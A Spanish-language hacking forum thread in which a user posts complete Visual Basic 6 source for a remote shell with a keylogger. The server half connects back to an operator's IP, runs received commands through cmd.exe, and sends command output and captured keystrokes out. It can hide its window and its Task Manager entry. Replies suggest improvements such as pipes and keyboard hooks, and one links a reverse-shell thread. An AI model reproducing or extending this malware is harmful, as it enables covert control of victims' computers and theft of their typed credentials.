elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  "Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: "Ohcan07 remote shell con keylogger"+ codigo de fuente explicado  (Leído 5,681 veces)
ohcan07

Desconectado Desconectado

Mensajes: 1


Ver Perfil
"Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
« en: 24 Octubre 2010, 23:30 pm »

Hola, soy ohcan07, bueno este es mi primer aporte, una mini "shell" remota, y la explicacion de como funciona, y como poder hacer una.

Bueno, este pequeño programa, lo fui armando de a poco con mis conocimientos basicos de visual basic, asi que esta formado en mayor parte por mi, pero tiene partes de otros codigos que fui encontrando en la web.
<----------------------------------->
Programacion:
- Elementos:

3 TextBox
7 CommandButton
2 Controles Winsock
2 Timer
- Codigo del cliente:
Código:
Dim datos As String 'Creamos las variables
Dim datos2 As String
Dim estado As String
Private Sub Command1_Click()
If Winsock2.State = 0 Then Winsock2.Listen Else ' Si el winsock2 esta desconectado se conecta
Text2.Text = "" ' Borra el texto del text2
Winsock1.Close ' cierra el winsock1
estado = "keylogger" ' Le asigna el valor keylogger a la variable para el select case
End Sub
Private Sub Command2_Click()
If Winsock1.State = 7 Then ' si el winsock1 esta conectado (=7) entonces:
Winsock1.SendData Text1.Text ' envia el texto del text1
ElseIf Winsock1.State = 0 Then MsgBox "Desconectado con el server." 'Pero si el winsock1 esta desconectado entonces alerta que esta desconectado
Else: Winsock1.Close ' y cierra el winsock1
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 0 Then Winsock1.Listen Else 'Si el winsock1 esta desconectado lo pone a la escucha
Winsock2.Close ' y cierra el winsock2 que es el del keylogger
estado = "consola" ' y le asigna el valor consola a la variable para el select case
End Sub

Private Sub Command4_Click()
MsgBox "Metodo de utilización: Para cambiar de carpeta y ver su contenido se utilizara de la siguiente forma: UBICACION && DIR (por ej: CD C:\Archivos de programa\ && DIR ); Si en algun otro caso no funciona deberas probar agregar lo que deceas hacer todo en una misma linea de comando, comando por comando separados por &&, ejemplos: CD C:\ && mkdir carpeta(para crear una carpeta); CD C:\ && del Archivo.exe (para borrar archivo.exe); ", , "Ayuda" ' Esto explica un poco como utilizar la consola, ya que se cierra despues de cada comando
End Sub

Private Sub Command5_Click()
MsgBox "El keylogger ira mostrando las teclas que se apretan en la pc que se encuentra ejecutado el servidor, podes guardar el log del keylogger precionando en save log y se guardara en el archivo C:\log.txt", , "Ayuda" ' esto explica un poco el keylogger
End Sub

Private Sub Command6_Click()
Open "C:\log.txt" For Output As #1 'esto es para guardar el log del keylogger
Print #1, Text3
Close #1
End Sub

Private Sub Command7_Click()
If Winsock1.State = 7 Then 'Esto es para borrar la "pantalla" de la consola
Winsock1.SendData "CLS"
End If
End Sub

Private Sub Form_Load()
Command4.Caption = "?"
Command5.Caption = "?"
Command3.Caption = "Start"
Command1.Caption = "Start"
Command6.Caption = "Save Log"
Command7.Caption = "CLS"
Winsock1.LocalPort = 1993
Winsock2.LocalPort = 1994
Timer2.Interval = 500
Timer1.Interval = 400
End Sub

Private Sub Timer1_Timer()
Select Case estado 'Este select case es el que cambia el titulo del form, para decir si estamos utilizando la consola o el keylogger
Case "consola"
Form1.Caption = "Conectado a la consola." ' ya que si esta funcionando la consola, el keylogger no anda
Case "keylogger"
Form1.Caption = "Conectado a el keylogger." ' y si esta funcionando el keylogger, la consola no anda
End Select
Text2.Text = datos 'El timer este tambien es el que hace que se actualice el texto de el text2
Text3.Text = datos2 'y del text3
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'esto es lo que hace que
Winsock1.Close
Winsock1.Accept requestID 'se acepte la conexion del server, cuando quiera conectarce la consola
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long) 'Este es igual al anterior solo que con el keylogger
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1993
Winsock1.GetData datos ' y los guarda en la variable datos
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1994
Winsock2.GetData datos2 'y los guarda en la variable datos2
End Sub

Quedaria mas o menos así:


Bueno, ese seria el cliente, ahora el servidor:
- Elementos:

4 Timer
2 Winsock
2 TextBox
1 Modulo Bas


Código:
Dim datos As String
Dim largo As Long
Dim texto As String
Private Sub Form_Load()
'Hide 'esto es para ocultar el form si le sacamos la comilla, el form se ocultara
'App.TaskVisible = False 'si le sacamos la comilla esto hace que el archivo al ser ejecutado no aparezca en el administrador de tareas
Winsock1.RemoteHost = "localhost" 'ACA VA EL IP AL QUE QUEREMOS QUE SE CONECTE EL SERVER
Winsock1.RemotePort = 1993 ' este dejenlo asi
Winsock2.RemoteHost = "localhost" ' ACA VA EL MISMO IP AL QUE QUEREMOS CONECTARNOS
Winsock2.RemotePort = 1994 ' este dejenlo asi
Timer1.Interval = 200
Timer2.Interval = 200
Timer3.Interval = 200
Timer4.Interval = 1
Open "C:\consola.txt" For Output As #1 'Esto es para crear el archivo consola.txt
Close #1
End Sub

Private Sub Timer1_Timer()
If datos = "" Then
Else: Shell ("cmd.exe /c " & datos & " > C:\consola.txt"), vbHide 'ejecuta los comandos recividos y los guarda en consola.txt
datos = "" 'borra el comando recivido luego de ejecutarlo
End If

End Sub

Private Sub Timer2_Timer()
If Winsock1.State = 0 Then ' si el winsock1 esta desconectado entonces
Winsock1.Connect ' conecta el winsock1!
ElseIf Winsock1.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock1.Close
End If
If Winsock2.State = 0 Then ' si el winsock2 esta desconectado entonces
Winsock2.Connect ' conecta el winsock2!
ElseIf Winsock2.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock2.Close
End If
Open "c:\consola.txt" For Input As #1 ' abre el consola.txt y
largo = FileLen("c:\consola.txt")
texto = Input(largo, #1) ' guarda el consola.txt en la variable texto
Close #1
Text1.Text = texto ' abre en el text1 la variable texto que contiene el consola.txt
End Sub

Private Sub Timer3_Timer()
If Winsock1.State = 7 Then 'si esta conectado (= 7)
Winsock1.SendData Text1.Text ' manda lo que mostro la consola
Else
End If
If Winsock2.State = 7 Then 'si esta conectado (= 7)
Winsock2.SendData Text2.Text ' manda lo que guardo el keylogger
Else
End If

End Sub

Private Sub Timer4_Timer()
If obtenerlateclapresionada Then
  Text2.Text = Text2.Text + Tecla_Presionada 'guarda las teclas en el text2
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData datos 'recive el comando para ejecutar y lo guarda en la variable datos
End Sub






Ahora, el codigo del modulo es el siguiente:

Código:
'El modulo del keylogger no fue programado por mi, lo encontre en internet, y lo tome prestado. no se a quien pertenece sino lo pondria.
Private Declare Function Estadodelteclado Lib "user32" Alias "GetKeyboardState" _
(Estadodelatecla As Byte) As Long

Const VK_CAPITAL = &H14

Private Declare Function Estadodelatecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer

Private Declare Function Obtenersisepresionolatecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

    Private Const Tecla_shift As Integer = 16
    
    Private Buscar_tecla As Integer
    Private Resultado_tecla As Long
    Private bShift As Boolean
    Public Tecla_Presionada As String

Public Function obtenerlateclapresionada() As Boolean
  
    Buscar_tecla = 65
                      
    Do Until Buscar_tecla = 91
                              
     Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
    
        If Resultado_tecla = -32767 Then
    
            Resultado_tecla = Estadodelatecla(Tecla_shift)
    
            Tecla_Presionada = IIf(Resultado_tecla < 0, Chr(Buscar_tecla), LCase(Chr(Buscar_tecla)))
          

            Dim stado As Boolean
            Call capslock_rm(stado)
          
            If stado = True Then
              Tecla_Presionada = UCase(Tecla_Presionada)
            
            End If
            GoTo teclaencontrada
        End If

        Buscar_tecla = Buscar_tecla + 1
        
    Loop

    Buscar_tecla = 48

    Do Until Buscar_tecla = 57
    
        Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
      
        If Resultado_tecla = -32767 Then
            Resultado_tecla = Estadodelatecla(Tecla_shift)
            
            If Resultado_tecla < 0 Then
                If Buscar_tecla = 48 Then Tecla_Presionada = "="
                If Buscar_tecla = 49 Then Tecla_Presionada = "!"
                If Buscar_tecla = 50 Then Tecla_Presionada = "'"
                If Buscar_tecla = 51 Then Tecla_Presionada = "#"
                If Buscar_tecla = 52 Then Tecla_Presionada = "$"
                If Buscar_tecla = 53 Then Tecla_Presionada = "%"
                If Buscar_tecla = 54 Then Tecla_Presionada = "^"
                If Buscar_tecla = 55 Then Tecla_Presionada = "&"
                If Buscar_tecla = 56 Then Tecla_Presionada = "*"
                If Buscar_tecla = 58 Then Tecla_Presionada = "("
            Else
                Tecla_Presionada = Chr(Buscar_tecla)
              
            End If

            GoTo teclaencontrada
        End If

        Buscar_tecla = Buscar_tecla + 1
    Loop

    Resultado_tecla = Obtenersisepresionolatecla(13)


    If Resultado_tecla = -32767 Then
        Tecla_Presionada = vbCrLf
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(32)
    If Resultado_tecla = -32767 Then
        Tecla_Presionada = " "
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(8)
    If Resultado_tecla = -32767 Then
        Tecla_Presionada = " BKSP "
        GoTo teclaencontrada
    End If
    Resultado_tecla = Obtenersisepresionolatecla(46)
    If Resultado_tecla = -32767 Then
        Tecla_Presionada = " DEL "
        GoTo teclaencontrada
    End If
    Resultado_tecla = Obtenersisepresionolatecla(190)
    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, ">", ".")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(188)


    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, "<", ",")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(186)

    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, ":", ";")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(191)

    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, "?", "/")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(222)

    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, """", "'")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(192)

    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, "~", "`")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(189)


    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, "_", "-")
        GoTo teclaencontrada
    End If

    Resultado_tecla = Obtenersisepresionolatecla(187)


    If Resultado_tecla = -32767 Then
        Resultado_tecla = Estadodelatecla(Tecla_shift)
        Tecla_Presionada = IIf(Resultado_tecla < 0, "+", "=")
        GoTo teclaencontrada
    End If

    obtenerlateclapresionada = False

    Exit Function

teclaencontrada:
    obtenerlateclapresionada = True
End Function
Public Sub capslock_rm(estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte

Estadodelteclado teclas(0)

EstadodelCapsLock = teclas(VK_CAPITAL)

If EstadodelCapsLock <> True Then

    estado = False
 ElseIf EstadodelCapsLock <> False Then

    estado = True
End If
End Sub
y el server quedaria mas o menos así:





Bueno este es mi primer aporte  :D , Espero que les sirva, y si pueden modificar y perfeccionar el codigo, seria muy bueno que lo posteen aca. ya que seguramente tiene algun error, o alguna modificacion para que funcione mejor.
Si falta algo, me comentan.
Suerte!


En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: "Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
« Respuesta #1 en: 25 Octubre 2010, 00:15 am »

que feo...

Código
  1.  
  2. cmd.exe /c
  3.  
  4.  

Usa Pipes, o mira te este codigo de Cobein.

http://foro.elhacker.net/programacion_visual_basic/reverse_shell-t304798.0.html;msg1512693#msg1512693

Hay otra version de conexion normal solo buscale en sus post y la encontraras!¡.

Dulce Infierno Lunar!¡.


En línea

The Dark Shadow is my passion.
The Max

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: "Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
« Respuesta #2 en: 25 Octubre 2010, 00:27 am »

que groso el pibe :)
y lo mejor es que anda de +10 depues cuando tenga tiempo libre te acomodo algunas algunas cosillas para hacerlo ma compacto jeje
 
En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: "Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
« Respuesta #3 en: 25 Octubre 2010, 00:43 am »

.
Veo que utilizas GetAsyncKeyState seria mejor si haces un Hook al teclado. ;)
Ver ejemplo Keylogger por Hook

DoEvents! :P
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Herramienta+Source] Creador de "Cabezeras" para Codigo Fuente
Programación Visual Basic
agus0 8 5,900 Último mensaje 18 Diciembre 2010, 16:42 pm
por agus0
Extraer parte del "Código Fuente" de una web.
Desarrollo Web
ChristianCDV 5 5,219 Último mensaje 20 Agosto 2012, 10:08 am
por USLO
Codigo fuente de un "Backdoor"
Análisis y Diseño de Malware
Danirs 6 10,173 Último mensaje 12 Agosto 2012, 23:26 pm
por Danirs
Problema: "No hay código fuente disponible"
.NET (C#, VB.NET, ASP)
Crazy.sx 2 7,818 Último mensaje 9 Junio 2013, 15:25 pm
por ABDERRAMAH
¿Por qué me pone "Código fuente no compilado"?
Programación C/C++
Nick61 5 11,165 Último mensaje 9 Enero 2017, 16:56 pm
por Nick61again
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines